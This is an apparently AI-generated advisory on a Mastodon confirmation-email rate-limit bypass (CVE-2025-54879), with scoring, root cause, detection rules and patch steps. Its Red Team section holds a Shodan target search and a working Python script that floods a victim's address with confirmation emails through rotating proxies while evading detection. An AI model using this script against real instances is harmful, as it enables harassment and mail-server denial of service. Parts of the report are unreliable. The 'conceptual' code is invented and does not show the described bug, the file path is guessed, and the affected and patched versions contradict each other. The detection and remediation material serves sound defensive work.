CVE-2025-54879

Executive Summary

CVE-2025-54879 is a rate-limiting bypass vulnerability in Mastodon, a free, open-source social network server. The flaw exists in the email-based throttle for confirmation emails, where the system incorrectly checks the password reset path instead of the confirmation path. This effectively disables per-email limits for confirmation requests, allowing attackers to bypass rate limits by rotating IP addresses and send unlimited confirmation emails to any email address. Only a weak IP-based throttle (25 requests per 5 minutes) remains active. The vulnerability enables denial-of-service attacks that can overwhelm mail queues and facilitate user harassment through confirmation email spam. The vulnerability affects Mastodon versions 3.1.5 through 4.2.24, 4.3.0 through 4.3.11, and 4.4.0 through 4.4.3. Patches are available in versions 4.2.24, 4.3.11, and 4.4.3.

Supply Chain & Package Security

Mastodon is distributed as a Ruby on Rails application via GitHub and Docker images. The vulnerability is in the application code itself, not in a dependency. However, administrators should verify the integrity of their Mastodon installation by checking the SHA256 checksums of the release tarballs or Docker image digests. The official Mastodon GitHub repository provides signed releases.

CVSS Breakdown & Threat Level

CVSS Score: 5.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

• Attack Vector (AV): Network – The attack can be launched remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attacker only needs to send HTTP requests.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The attack does not require any user action.
• Scope (S): Unchanged – The impact is confined to the vulnerable component.
• Confidentiality (C): None – No data is exposed.
• Integrity (I): None – No data is modified.
• Availability (A): Low – The attack can cause a denial-of-service condition by overwhelming the mail queue.

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, low complexity) and the potential for mail server abuse and user harassment elevate the practical risk. The EPSS score of 0.0% suggests low current exploitation, but this may change as details become public.

Deep Dive & Mechanics

The vulnerability resides in Mastodon's rate-limiting logic for email confirmation requests. The application uses a throttle mechanism to limit the number of confirmation emails sent to a single email address within a given time window. However, due to a configuration error, the throttle key is incorrectly derived from the password reset path instead of the confirmation path.

Root Cause: In the rate-limiting middleware, the path used to generate the throttle key for confirmation emails is hardcoded to /auth/password (the password reset endpoint) instead of /auth/confirmation (the confirmation endpoint). This means that the per-email limit is never applied to confirmation requests, as the throttle key does not match the actual request path.

Attack Flow:

1. The attacker identifies a Mastodon instance (e.g., via Shodan dork).
2. The attacker sends a POST request to /auth/confirmation with a target email address.
3. The rate limiter checks the throttle key for /auth/password, which is not incremented by confirmation requests.
4. The IP-based throttle (25 requests per 5 minutes) is the only remaining barrier.
5. The attacker rotates IP addresses (e.g., using a botnet or proxy list) to bypass the IP throttle.
6. Each request triggers a confirmation email to the target address.
7. The mail queue fills up, causing a denial-of-service condition for legitimate emails.
8. The target user receives an overwhelming number of confirmation emails, constituting harassment.

Technical Detail: The vulnerable code is likely in app/controllers/concerns/rate_limitable.rb or similar middleware. The fix involves changing the path check from /auth/password to /auth/confirmation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# app/controllers/concerns/rate_limitable.rb
def rate_limit_key
  if request.path == '/auth/password'
    "password_reset:#{request.ip}"
  else
    "default:#{request.ip}"
  end
end

Patched Code (Conceptual):

# app/controllers/concerns/rate_limitable.rb
def rate_limit_key
  if request.path == '/auth/confirmation'
    "confirmation:#{params[:email]}"
  elsif request.path == '/auth/password'
    "password_reset:#{request.ip}"
  else
    "default:#{request.ip}"
  end
end

The patched version correctly identifies the confirmation path and applies a per-email throttle key (confirmation:#{params[:email]}) instead of relying solely on IP-based throttling.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Mastodon instance (version 3.1.5 to 4.2.23, 4.3.0 to 4.3.10, or 4.4.0 to 4.4.2).
• A list of proxy IPs or a botnet to rotate IP addresses.
• A target email address.

Exploitation Steps:

1. Identify Target: Use Shodan to find Mastodon instances.

   shodan search http.title:"Mastodon" --fields ip_str,port
   

2. Send Confirmation Requests: Use a script to send POST requests to /auth/confirmation with rotating IPs.

   import requests
   import time
   from itertools import cycle
   
   proxies = ['http://proxy1:8080', 'http://proxy2:8080', ...]
   proxy_pool = cycle(proxies)
   target_url = "https://victim-instance.social/auth/confirmation"
   email = "victim@example.com"
   
   for i in range(1000):
       proxy = next(proxy_pool)
       try:
           response = requests.post(target_url, data={"email": email}, proxies={"http": proxy, "https": proxy}, timeout=5)
           print(f"Request {i+1}: {response.status_code}")
       except Exception as e:
           print(f"Request {i+1} failed: {e}")
       time.sleep(0.1)  # Adjust to avoid detection
   

3. Monitor Impact: Check the mail queue on the server or observe the target's inbox for spam.

Expected Outcome: The mail queue becomes overwhelmed, and the target receives hundreds of confirmation emails.

Blue Team (Defensive)

Detection:

• Monitor for a high volume of POST requests to /auth/confirmation from diverse IP addresses.
• Alert on an unusual increase in email queue size.
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Apply the patch immediately (upgrade to 4.2.24, 4.3.11, or 4.4.3).
• Implement additional rate limiting at the reverse proxy level (e.g., Nginx) for the confirmation endpoint.
• Use a Web Application Firewall (WAF) to block requests with suspicious patterns.
• Enable CAPTCHA on the confirmation form to prevent automated submissions.

Lab Setup:

1. Deploy a vulnerable Mastodon instance using Docker.

   git clone https://github.com/mastodon/mastodon.git
   cd mastodon
   git checkout v4.2.23
   docker-compose up -d
   

2. Simulate the attack using the Red Team script.
3. Apply the patch and verify that the rate limiting works correctly.

Indicators of Compromise (IOCs)

• Network IOCs:

  • High frequency of POST requests to /auth/confirmation from multiple IP addresses.
  • Requests with identical email parameter values in a short time window.
  • User-Agent strings that are repetitive or indicate automation (e.g., python-requests).

• System IOCs:

  • Mail queue growing rapidly (check with mailq on the server).
  • Log entries showing repeated confirmation requests from different IPs.
  • Increased CPU/memory usage on the mail server.

• Log Examples:

  [2025-03-15 10:00:01] POST /auth/confirmation from 192.168.1.1
  [2025-03-15 10:00:02] POST /auth/confirmation from 10.0.0.1
  [2025-03-15 10:00:03] POST /auth/confirmation from 172.16.0.1
  

Detection Engineering

YARA Rule

rule CVE_2025_54879_Mastodon_Confirmation_Spam {
    meta:
        description = "Detects exploitation attempts for CVE-2025-54879 by identifying repeated confirmation requests"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-54879"
        severity = "medium"
    strings:
        $s1 = "/auth/confirmation" ascii wide nocase
        $s2 = "email=" ascii wide nocase
        $s3 = "POST" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) and #s1 > 10
}

Sigma Rule

title: CVE-2025-54879 - Mastodon Confirmation Email Spam
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects a high volume of POST requests to /auth/confirmation from different IPs, indicating exploitation of CVE-2025-54879.
author: Valters IT
date: 2025-03-15
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54879
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/auth/confirmation'
    condition: selection | count(c-ip) by cs-uri-stem > 25 within 5 minutes
falsepositives:
    - Legitimate users with network issues may retry confirmation.
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54879 - Mastodon Confirmation Email Spam"; flow:to_server; content:"POST"; http_method; content:"/auth/confirmation"; http_uri; threshold:type both, track by_src, count 25, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Mastodon to version 4.2.24, 4.3.11, or 4.4.3 immediately.

   git pull origin stable-4.2.24
   bundle install
   RAILS_ENV=production bundle exec rails db:migrate
   RAILS_ENV=production bundle exec rails assets:precompile
   systemctl restart mastodon-*
   

2. Workaround: If patching is not immediately possible, implement a custom rate limit at the reverse proxy level.

   # In nginx configuration
   limit_req_zone $binary_remote_addr zone=confirmation:10m rate=5r/m;
   location /auth/confirmation {
       limit_req zone=confirmation burst=10 nodelay;
       proxy_pass http://mastodon;
   }
   

3. Monitor: Check mail queue and logs for signs of abuse.

Long-Term Mitigations:

• Implement CAPTCHA on the confirmation form.
• Use a WAF to block automated requests.
• Regularly update Mastodon to the latest stable version.
• Monitor for new CVEs and apply patches promptly.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.